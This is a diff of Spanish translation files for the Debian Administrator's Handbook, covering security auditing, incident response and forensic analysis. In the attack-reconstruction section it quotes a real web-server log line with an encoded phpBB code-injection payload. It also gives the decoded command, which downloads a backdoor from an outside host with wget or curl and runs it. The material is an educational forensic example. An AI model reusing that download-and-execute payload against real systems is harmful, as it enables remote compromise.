msgstr "Una vez conocidos los posibles problemas de seguridad, deben tenerse en cuenta en cada paso del proceso de implementación de un servicio, especialmente a la hora de elegir el software a instalar. Muchos sitios web mantienen una lista de vulnerabilidades descubiertas recientemente, lo que puede dar una idea de un historial de seguridad antes de implementar algún software en particular. Por supuesto, esta información debe equilibrarse con la popularidad de dicho software: un programa más utilizado es un objetivo más tentador y, como consecuencia, se analizará más de cerca. Por otro lado, un programa de nicho puede estar lleno de agujeros de seguridad que nunca se publicitan debido a la falta de interés en una auditoría de seguridad."
msgid "<emphasis>VOCABULARY</emphasis> Security audit"
msgstr "<emphasis>VOCABULARIO</emphasis> Auditoría de seguridad"
#, fuzzy
#| msgid "<primary>packet</primary><secondary>IP</secondary>"
msgid "<primary>security</primary><secondary>audit</secondary>"
msgstr "<primary>paquete</primary><secondary>IP</secondary>"
msgstr "<primary>seguridad</primary><secondary>auditoría</secondary>"
msgid "A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements."
msgstr "Una auditoría de seguridad es el proceso de leer y analizar a fondo el código fuente de algún software, buscando potenciales vulnerabilidades de seguridad que pueda contener. Usualmente, dichas auditorías son proactivas y se las realizan para asegurar que un programa cumple ciertos requisitos de seguridad."
@ -2816,7 +2781,7 @@ msgstr "<emphasis>VISTA RÁPIDA</emphasis> <emphasis role=\"pkg\">autolog</empha
#, fuzzy
#| msgid "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"
msgid "<primary><emphasis role=\"pkg\">autolog</emphasis></primary>"
msgstr "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"
msgstr "<primary><emphasis role=\"pkg\">autolog</emphasis></primary>"
msgid "The <emphasis role=\"pkg\">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons."
msgstr "El paquete <emphasis role=\"pkg\">autolog</emphasis> provee un programa que automáticamente desconecta usuarios inactivos luego de un tiempo configurable. También permite matar procesos de usuarios que permanecen después que finalizó su sesión, evitando así que los usuarios ejecuten demonios."
@ -2885,10 +2850,10 @@ msgid "This is only one example, but many other hints can ring the administrator
msgstr "Este sólo es un ejemplo, pero muchas otras pistas pueden encender la lámpara del administrador:"
msgid "a command that suddenly shows errors like segmentation faults;"
msgstr ""
msgstr "un comando que de repente muestra errores como fallas de segmentación;"
msgid "a program that utilizes all CPU cores or memory;"
msgstr ""
msgstr "un programa que utiliza todos los núcleos de CPU o memoria;"
msgid "an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;"
msgstr "una opción a un programa que ya no funciona; la versión del software que el programa dice ser no coincide con la versión que se supone está instalada según <command>dpkg</command>;"
@ -2908,10 +2873,8 @@ msgstr "Desconexión del servidor"
msgid "In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet."
msgstr "En prácticamente todos los casos, la intrusión proviene de la red y el atacante necesita una red funcional para alcanzar sus objetivos (acceder a datos confidenciales, compartir archivos ilegales, esconder su identidad utilizando la máquina como restransmisor, etc.). Desconectar el equipo de la red evitará que el atacante logre estos objetivos si es que no los alcanzó para ese momento."
#, fuzzy
#| msgid "This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see <xref linkend=\"sect.keeping-everything-that-could-be-used-as-evidence\" />, <xref linkend=\"sect.forensic-analysis\" /> and <xref linkend=\"sect.reconstituting-the-attack-scenario\" />), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but <command>sshd</command>). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines."
msgid "This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see <xref linkend=\"sect.keeping-everything-that-could-be-used-as-evidence\" />, <xref linkend=\"sect.forensic-analysis\" /> and <xref linkend=\"sect.reconstituting-the-attack-scenario\" />), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but <command>sshd</command>). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines. If possible, and if the provider supports it, the server can be put offline and accessed through the providers KVM/IPMI interface or their rescue console. If the affected machine is a virtual machine, a snapshot should be taken immediately to secure evidence."
msgstr "Esto podría ser posible sólamente si puede acceder físicamente al servidor. Cuando se alberga el servidor en un centro de datos en la otra punta del país, o si no puede acceder al servidor de niguna otra forma, usualmente es buena idea comenzar a obtener información importante (vea <xref linkend=\"sect.keeping-everything-that-could-be-used-as-evidence\" />, <xref linkend=\"sect.forensic-analysis\" /> y <xref linkend=\"sect.reconstituting-the-attack-scenario\" />), luego aislar el servidor tanto como sea posible apagando tantos servicios como pueda (generalmente, todo excepto <command>sshd</command>). Este caso sigue siendo incómodo ya que no se puede descartar la posibilidad que el atacante tenga acceso SSH al igual que el administrador; esto dificulta «limpiar» las máquinas."
msgstr "Esto solo puede ser posible si el servidor es físicamente accesible. Cuando el servidor está alojado en el centro de datos de un proveedor de alojamiento en la mitad del país, o si el servidor no es accesible por cualquier otro motivo, generalmente es una buena idea comenzar por recopilar información importante (ver <xref linkend=\"sect.keeping-everything-that-could-be-used-as-evidence\" />, <xref linkend=\"sect.forensic-analysis\" /> y <xref linkend=\"sect.reconstituting-the-attack-scenario\" />), luego aislar ese servidor tanto como sea posible cerrando tantos servicios como sea posible (generalmente, todo menos <command>sshd</command>). Este caso sigue siendo incómodo, ya que no se puede descartar la posibilidad de que el atacante tenga acceso SSH como el administrador; esto dificulta la \"limpieza\" de las máquinas. Si es posible, y si el proveedor lo admite, se puede desconectar el servidor y acceder a él a través de la interfaz KVM/IPMI del proveedor o su consola de rescate. Si la máquina afectada es una máquina virtual, se debe tomar una instantánea de inmediato para asegurar la evidencia."
msgid "Keeping Everything that Could Be Used as Evidence"
msgstr "Preservación de todo lo que pueda utilizar como evidencia"
@ -2931,10 +2894,8 @@ msgstr "Puede parecer tentandor analizar el equipo mientras ejecuta, especialmen
msgid "If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised."
msgstr "Si necesita dicho análisis en caliente, debe tener cuidado de sólo utilizar programas en los que sabe que puede confiar. Una buena forma de hacer esto sería tener un CD de rescate con programas impolutos, o un espacio de red compartido en modo de solo lectura. Sin embargo, aún estas medidas pueden no ser suficientes si el núcleo en sí fue comprometido."
#, fuzzy
#| msgid "Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled."
msgid "Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled. Most server providers offer a so-called rescue-console that essentially provides the same functionality as a rescue CD."
msgstr "Una vez que guardó los elementos «dinámicos», el siguiente paso es almacenar una imagen completa del disco duro. Realizar dicha imagen es imposible si el sistema de archivos continúa evolucionando, razón por la que debe volver a montarlo en modo sólo de lectura. La solución más simple generalmente es detener brutalmente el servidor (luego de ejecutar <command>sync</command>) y luego reiniciar desde un CD de rescate. Debe copiar cada partición con una herramienta como <command>dd</command>; luego puede enviar estas imágenes a otro servidor (posiblemente con la conveniente herramienta <command>nc</command>). Otra posiblidad que puede ser aún más sencilla: simplemente quite el disco de la máquina y reemplácelo con otro al que pueda dar formato y reinstalar."
msgstr "Una vez guardados los elementos \"dinámicos\", el siguiente paso es almacenar una imagen completa del disco duro. Crear una imagen de este tipo es imposible si el sistema de archivos aún está evolucionando, por lo que debe volver a montarse en modo de solo lectura. La solución más simple suele ser detener el servidor brutalmente (después de ejecutar <command>sync</command>) y reiniciarlo en un CD de rescate. Cada partición debe copiarse con una herramienta como <command>dd</command>; estas imágenes pueden enviarse a otro servidor (posiblemente con la muy conveniente herramienta<command>nc</command>). Otra posibilidad puede ser aún más simple: simplemente sacar el disco de la máquina y reemplazarlo por uno nuevo que pueda reformatearse y reinstalarse. La mayoría de los proveedores de servidores ofrecen la llamada consola de rescate que esencialmente proporciona la misma funcionalidad que un CD de rescate."
msgid "Re-installing"
msgstr "Reinstalación"
@ -2945,10 +2906,8 @@ msgstr "<primary>puerta trasera</primary>"
msgid "The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly <emphasis>backdoors</emphasis>). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates."
msgstr "No debería volver a poner en línea al servidor sin reinstalarlo completamente. Si el compromiso fue serio (obtuvieron permisos de administrador), prácticamente no existe otra forma de estar seguro que se ha eliminado todo lo que el atacante podría haber dejado (<emphasis>puertas traseras</emphasis> — «backdoors» — en particular). Por supuesto, también debe aplicar todas las últimas actualizaciones de seguridad para solucionar la vulnerabilidad que utilizó el atacante. Idealmente, el análisis del ataque debería indicarle dicho vector de ataque para que pueda estar seguro de solucionarlo; de lo contrario, sólo puede confiar que alguna de las actualizaciones hay corregido la vulnerabilidad."
#, fuzzy
#| msgid "Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems. Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media."
msgid "Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems or remote consoles (although these cases should be rare). Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media."
msgstr "No siempre es sencillo reinstalar un servidor remoto; podría involucrar asistencia de la empresa que alberga su equipo, ya que no siempre dichas compañías ofrecen servicios automatizados de reinstalación. Debe tener cuidado de no reinstalar la máquina desde respaldos realizados luego del ataque. Idealmente, sólo debería restaurar los datos, debería instalar el software en sí desde los medios de instalación."
msgstr "Reinstalar un servidor remoto no siempre es fácil; puede implicar asistencia de la empresa de alojamiento, porque no todas esas empresas proporcionan sistemas de reinstalación automatizados o consolas remotas (aunque estos casos deberían ser raros). Se debe tener cuidado de no reinstalar la máquina a partir de copias de seguridad realizadas después del compromiso. Idealmente, solo se deben restaurar los datos, el software real debe reinstalarse desde el medio de instalación."
msgid "Forensic Analysis"
msgstr "Análisis forense"
@ -2972,7 +2931,7 @@ msgid "the log files in <filename>/var/log/</filename> often allow reconstructin
msgstr "los archivos de registro en <filename>/var/log/</filename> usualmente permiten reconstruir una cronología de los eventos;"
msgid "comparing the system to the last known uncompromised backup can quickly reveal the changes left by the attacker, e.g. files added, changed, or deleted;"
msgstr ""
msgstr "comparar el sistema con la última copia de seguridad no comprometida conocida puede revelar rápidamente los cambios dejados por el atacante, por ejemplo, archivos agregados, modificados o eliminados;"
msgid "special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete."
msgstr "herramientas específicas también permiten restaurar el contenido de archivos potencialmente borrados, incluyendo los archivos de registro que generalmente borran los atacantes."
@ -2980,12 +2939,12 @@ msgstr "herramientas específicas también permiten restaurar el contenido de ar
#, fuzzy
#| msgid "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"
msgid "<primary><emphasis role=\"pkg\">sleuthkit</emphasis></primary>"
msgstr "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"
msgstr "<primary><emphasis role=\"pkg\">sleuthkit</emphasis></primary>"
#, fuzzy
#| msgid "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"
msgid "<primary><emphasis role=\"pkg\">autopsy</emphasis></primary>"
msgstr "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"
msgstr "<primary><emphasis role=\"pkg\">autopsy</emphasis></primary>"
msgid "<primary><emphasis role=\"distribution\">Kali</emphasis></primary>"
msgstr "<primary><emphasis role=\"distribution\">Kali</emphasis></primary>"
@ -2996,7 +2955,7 @@ msgstr "<primary><emphasis role=\"distribution\">Grml</emphasis></primary>"
#, fuzzy
#| msgid "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"
msgid "<primary><emphasis role=\"distribution\">BlackArchLinux</emphasis></primary>"
msgstr "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"
msgstr "<primary><emphasis role=\"distribution\">BlackArchLinux</emphasis></primary>"
#, fuzzy
#| msgid "<primary>intrusion detection</primary>"
@ -3006,12 +2965,10 @@ msgstr "<primary>detección de intrusiones</primary>"
#, fuzzy
#| msgid "<primary>rule</primary>"
msgid "<primary>forensics</primary>"
msgstr "<primary>regla</primary>"
msgstr "<primary>forense</primary>"
#, fuzzy
#| msgid "Some of these operations can be made easier with specialized software. In particular, the <emphasis role=\"pkg\">sleuthkit</emphasis> package provides many tools to analyze a filesystem. Their use is made easier by the <emphasis>Autopsy Forensic Browser</emphasis> graphical interface (in the <emphasis role=\"pkg\">autopsy</emphasis> package). Some Linux distributions have a \"live install\" image and contain many programs for forensic analysis, such as Kali Linux (see <xref linkend=\"sect.kali\" />), with its <emphasis>forensic mode</emphasis>, BlackArchLinux<footnote><para> <ulink url=\"https://blackarch.org\" /></para></footnote> and the commercial Grml-Forensic, based on Grml (see <xref linkend=\"sect.grml\" />)."
msgid "Some of these operations can be made easier with specialized software. In particular, the <emphasis role=\"pkg\">sleuthkit</emphasis> package provides many tools to analyze a filesystem. Their use is made easier by the <emphasis>Autopsy Forensic Browser</emphasis> graphical interface (in the <emphasis role=\"pkg\">autopsy</emphasis> package). Some Linux distributions have a \"live install\" image and contain many programs for forensic analysis, such as Kali Linux (see <xref linkend=\"sect.kali\" />), with its <emphasis>forensic mode</emphasis>, BlackArchLinux, and the commercial Grml-Forensic, based on Grml (see <xref linkend=\"sect.grml\" />). <ulink type=\"block\" url=\"https://blackarch.org\" /> <ulink type=\"block\" url=\"https://grml-forensic.org/\" />"
msgstr "Algunas de estas operaciones pueden simplificarse mediante programas especializados. En particular, el paquete <emphasis role=\"pkg\">sleuthkit</emphasis> proprociona muchas herramientas para analizar un sistema de archivos. Es más sencillo utilizarlo con la interfaz gráfica <emphasis>Autopsy Forensic Browser</emphasis> («navegador forense de autopsias», en el paquete <emphasis role=\"pkg\">autopsy</emphasis>). Algunas distribuciones de Linux tienen una imagen «live install» y contienen muchos programas para análisis forenses como Kali Linux (veáse <xref linkend=\"sect.kali\" />), con su <emphasis>«forensic mode»</emphasis> (modo forense), BlackArchLinux<footnote><para> <ulink url=\"https://blackarch.org\" /></para></footnote> y la comercial Grml-Forensic, basada en Grml (véase <xref linkend=\"sect.grml\" />)."
msgstr "Algunas de estas operaciones se pueden facilitar con software especializado. En particular, el paquete<emphasis role=\"pkg\">sleuthkit</emphasis> proporciona muchas herramientas para analizar un sistema de archivos. Su uso es más fácil gracias a la interfaz gráfica<emphasis>Autopsy Forensic Browser</emphasis> (en el paquete<emphasis role=\"pkg\">autopsy</emphasis>). Algunas distribuciones de Linux tienen una imagen de \"instalación en vivo\" y contienen muchos programas para análisis forense, como Kali Linux (ver <xref linkend=\"sect.kali\" />), con su <emphasis>modo forense</emphasis>, BlackArchLinux y el comercial Grml-Forensic, basado en Grml (ver <xref linkend=\"sect.grml\" />). <ulink type=\"block\" url=\"https://blackarch.org\" /> <ulink type=\"block\" url=\"https://grml-forensic.org/\" />"
msgid "Reconstituting the Attack Scenario"
msgstr "Reconstrucción del escenario de ataque"
@ -3031,10 +2988,8 @@ msgstr ""
"www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] \"GET /phpbb/viewtopic.php?t=10&amp;highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1\" 200 27969 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"\n"
" "
#, fuzzy
#| msgid "This example matches exploitation of an old security vulnerability in phpBB. <ulink type=\"block\" url=\"http://secunia.com/advisories/13239/\" /> <ulink type=\"block\" url=\"https://www.phpbb.com/phpBB/viewtopic.php?t=240636\" />"
msgid "This example matches exploitation of an old security vulnerability in phpBB. <ulink type=\"block\" url=\"https://www.phpbb.com/phpBB/viewtopic.php?t=240636\" />"
msgstr "Este ejemplo coincide con el aprovechamiento de una antigua vulnerabilidad de phpBB. <ulink type=\"block\" url=\"http://secunia.com/advisories/13239/\" /> <ulink type=\"block\" url=\"https://www.phpbb.com/phpBB/viewtopic.php?t=240636\" />"
msgstr "Este ejemplo coincide con el aprovechamiento de una antigua vulnerabilidad de phpBB. <ulink type=\"block\" url=\"https://www.phpbb.com/phpBB/viewtopic.php?t=240636\" />"
msgid "Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system(\"cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;\")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor."
msgstr "Decodificar esta URL lleva a entender que el atacante logró ejecutar un código PHP, en particular: <command>system(\"cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;\")</command>. En efecto, encontramos un archivo <filename>bd</filename> en <filename>/tmp/</filename>. La ejecución de <command>strings /mnt/tmp/bd</command> devuelve, entre otras cadenas, <literal>PsychoPhobia Backdoor is starting...</literal>. Esto realmente parece una puerta trasera."

View file

@ -1,6 +1,6 @@
# AUTHOR <EMAIL@ADDRESS>, YEAR.
msgid ""
msgstr "Project-Id-Version: 0\nPOT-Creation-Date: 2025-04-22 01:11+0200\nPO-Revision-Date: 2025-06-15 17:01+0000\nLast-Translator: eulalio <eulalio@disroot.org>\nLanguage-Team: Spanish <https://hosted.weblate.org/projects/debian-handbook/90_derivative-distributions/es/>\nLanguage: es-ES\nMIME-Version: 1.0\nContent-Type: application/x-publican; charset=UTF-8\nContent-Transfer-Encoding: 8bit\nPlural-Forms: nplurals=2; plural=n != 1;\nX-Generator: Weblate 5.12-dev\n"
msgstr "Project-Id-Version: 0\nPOT-Creation-Date: 2025-04-22 01:11+0200\nPO-Revision-Date: 2025-07-24 08:07+0000\nLast-Translator: eulalio <eulalio@disroot.org>\nLanguage-Team: Spanish <https://hosted.weblate.org/projects/debian-handbook/90_derivative-distributions/es/>\nLanguage: es-ES\nMIME-Version: 1.0\nContent-Type: application/x-publican; charset=UTF-8\nContent-Transfer-Encoding: 8bit\nPlural-Forms: nplurals=2; plural=n != 1;\nX-Generator: Weblate 5.13-dev\n"
msgid "live CD"
msgstr "live CD"
@ -183,9 +183,11 @@ msgstr "Kali Linux"
msgid "<primary><emphasis role=\"distribution\">Kali</emphasis></primary>"
msgstr "<primary><emphasis role=\"distribution\">Kali</emphasis></primary>"
#, fuzzy
msgid "<primary>penetration testing</primary>"
msgstr "<primary>pruebas de penetración</primary>"
msgstr "<primary>detección de intrusiones</primary>"
#, fuzzy
msgid "<primary>forensics</primary>"
msgstr "<primary>forense</primary>"